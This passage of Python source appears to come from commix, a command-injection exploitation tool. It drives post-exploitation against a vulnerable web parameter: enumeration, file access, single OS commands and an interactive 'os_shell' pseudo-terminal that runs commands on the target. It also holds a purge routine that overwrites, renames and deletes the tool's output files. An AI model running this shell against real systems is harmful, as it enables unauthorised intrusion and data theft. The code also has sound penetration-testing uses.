session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "n" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # The main command injection exploitation. time.sleep(timesec) response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell != "": shell = "".join( str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass raise SystemExit() if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." print(settings.print_warning_msg(warn_msg)) return info_msg = "Purging content of directory '" + directory + "'" if not settings.VERBOSITY_LEVEL != 0: info_msg += ". " else: info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Purging content of target directory. dir_paths = [] file_paths = [] for rootpath, directories, filenames in os.walk(directory): dir_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in directories]) file_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in filenames]) # Changing file attributes. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Changing file attributes." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SPACE) else: print(settings.SPACE) # Writing random data to files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Writing random data to files. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: filesize = os.path.getsize(file_path) with open(file_path, "w+b") as f: f.write("".join( chr(random.randint(0, 255)) for _ in xrange(filesize))) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SPACE) else: print(settings.SPACE) # Truncating files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Truncating files." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: with open(file_path, 'w') as f: pass except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SPACE) else: print(settings.SPACE) # Renaming filenames to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming filenames to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.rename( file_path, os.path.join( os.path.dirname(file_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SPACE) else: print(settings.SPACE) # Renaming directory names to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming directory names to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False dir_paths.sort(key=functools.cmp_to_key( lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) for dir_path in dir_paths: try: os.rename( dir_path, os.path.join( os.path.dirname(dir_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SPACE) else: print(settings.SPACE) # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." sys.stdout.write(settings.print_debug_msg(debug_msg)) try: failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as ex: failed = True if not failed: print(settings.SPACE) else: print(settings.SPACE) err_msg = "Problem occurred while removing directory '" + directory + "'." print(settings.print_critical_msg(err_msg)) # eof